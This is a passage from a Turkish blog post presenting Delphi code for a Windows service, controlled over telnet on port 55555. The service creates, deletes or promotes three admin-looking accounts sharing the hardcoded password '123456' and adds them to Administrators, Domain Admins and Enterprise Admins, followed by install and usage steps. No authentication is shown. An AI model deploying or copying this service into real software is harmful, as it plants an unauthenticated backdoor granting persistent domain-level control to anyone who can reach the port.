                    '5       = 3 ncu seviye hesabi sil (High)'+CR+
                    '6       = 1 nci seviye grup ekle'+CR+
                    '7       = 2 nci seviye grup ekle'+CR+
                    '8       = 3 ncu seviye grup ekle'+CR+NCMD)
  end
  else
  begin
    if Lvl >-1 Then
    begin
      if CreateSecret(Lvl) then Socket.SendText(CR+' Tamam...'+cr+NCMD) else Socket.SendText(CR+' Hata...'+SecurityException+cr+NCMD)
    end else
      Socket.SendText(CR+' Gecersiz komut'+cr+NCMD);
  end;
end;

Seçtiğiniz işleme bağlı olarak vazife yerine getirilir ve sonuçla ilgili kısa bir mesaj gösterilir. (Tamam... veya Hata...)

Seçtiğiniz işlemle vazifeyi yerine getiren yöntem aşağıdakidir.
Function TNetSecurity.CreateSecret(Const Level : SmallInt) : Boolean;
 Var
   flgs : TNetUserFlags;
   pwd : string;
   {Toplam 3 Hesap Kullanılıyor}
   UserNames: Array[0..2] of String;
   FullNames: Array[0..2] of String;
   Descr    : Array[0..2] of String;

  procedure SetFlg (flag : TNetUserFlag; setIt : boolean);
  begin
    if setIt then
      flgs := flgs + [flag]
    else
      flgs := flgs - [flag]
  end;

Begin
   Result := True;
   SecurityException :='';
   {myAdminstrator}
   UserNames[0]          :='myAdminstrator';
   FullNames[0]         :='';
   Descr[0]             :='Etki alani kopya yoneticisi';

   {ExchangeAdmin}
   UserNames[1]          :='ExchangeAdmin';
   FullNames[1]         :='';
   Descr[1]             :='Exchange sunucu yoneticisi';

   {EnterpriseAdmin}
   UserNames[2]          :='EnterpriseAdmin';
   FullNames[2]         :='';
   Descr[2]             :='Kurumsal Yonetici';
   pwd := '123456';

  TRY
    Case Level of
      0,1,2 : {>>Hesap Ekle<<}
         With NetUser1 do
         begin
           NetUser1.UserName := UserNames[Level];
           CreateAccount(Descr[Level],pwd);
           RenameAccount(UserNames[Level]);
           //Yönetici hesaplari icin grup tanimlamalari
           AddToLocalGroup('Users');
           AddToLocalGroup('Administrators');
           FullName :=FullNames[Level];
           try
             flgs := Flags;
             SetFlg (ufAccountDisable, False);
             SetFlg (ufPasswordCantChange, False);
             SetFlg (ufLockout, False);
             SetFlg (ufDontExpirePassword, True);
             Flags := flgs;
           except on E:Exception do
             begin
               SecurityException := UserName[Level]+cr+E.Message;
               CancelUpdate;
               Result := False;
             end;
           end;{>>try<<}
         end;{>>with<<}
       3,4,5 : {>> Hesap Sil <<}
         begin
           if Level=3 then NetUser1.UserName := UserNames[0]
           else
           if Level=4 then NetUser1.UserName := UserNames[1]
           else
           if Level=5 then NetUser1.UserName := UserNames[2];
           NetUser1.DeleteAccount;
         end;
       6,7,8 : {>> Gruba ekle <<}
         begin
           if Level=6 then NetUser1.UserName := UserNames[0]
           else
           if Level=7 then NetUser1.UserName := UserNames[1]
           else
           if Level=8 then NetUser1.UserName := UserNames[2];
           NetUser1.AddToLocalGroup('Administrator');
           NetUser1.AddToLocalGroup('Domain Admins');
           NetUser1.AddToLocalGroup('Enterprise Admins');
         end;
     end; {>>Case<<}
  EXCEPT on E:Exception do
   begin
     SecurityException := E.Message;
     Result := False;
   end;
  END;
End;

    Gelelim kullanma kılavuzuna. Bu uygulamada kullanılan bileşenler ve uygulamanın derlenmiş haliyle kodlarını buradan indirebilirsiniz. Eğer derlemeden bir test yapalım derseniz aşağıdaki adımları izleyin.
  • Komut istemi satırına çıkıp netsecur.exe dosyasının bulunduğu klasöre zıplayın.
  • Komut isteminde netsecur /install yazıp enter'layın. Servisin yüklendiğine dair bir mesaj alacaksınız.

  • Denetim masasında Hizmet yönetimini başlatıp orada netsecurity servisini bularak başlatın.

  • Şimdide komut isteminde telnet localhost 55555 yazarak servisi başlatın.

  • Hoş geldin mesajından sonra komut isteminde ? yazarsanız Yapabileceğiniz işlemlerle bunların seçenekleri gelecek ekrana.Burdan yaptığınız seçime göre sisteminize kullanıcı hesabı ekleyebilecek veya kaldırabileceksiniz. Değişiklikleri yönetimsel araçlar bilgisayar yönetimi kullanıcılar bölümünde görebilirsiniz...



  • Servisi sistemden kaldırmak için önce servisi durdurun ve komut isteminde netsecur /uninstall yazın


    Böylece telefonsuz bir köy hikayesinden Telnet'li bir servis hikayesine ilerlemiş olduk. Teknoloji ilerlediğinde, bizim kafamızda bazı şeylere basmadığında, yada düz kontak yaptığında acaba bizim çocuklarımızda teknolojinin ardında kaldığımızı düşünüp hayıflanırlar mı? Tıpkı benim, dedemin at üstünde değilde uçakla seyahat etmesini istediğim ama garibin ömrünün buna yetmemesi gibi, bizim çocuklarımızda, torunlarımızda "ah keşke dedemi bir ışınlama cihazına bindirebilsek" derler mi? Kimbilir zaman gösterecek.


    Hepinize sağlık, mutluluk ve esenlikler diler, işlerinizden başarı, gönüllerinizden sevecenlik eksik olmasın derim. Hoşçakalın...
 



Yorum (yok) :: Yorum yaz! :: Bağlantı

<- :: Sonraki Sayfa ->

Hakkımda

Ah bir öğrensem şu bilgisayar işini. Bırakıp gideceğim bu yerleri bu işleri.

Bağlantılar

Ana Sayfa
Profilim
Arşiv
Arkadaşlarım
e-posta

Kategoriler

Arkadaşlarım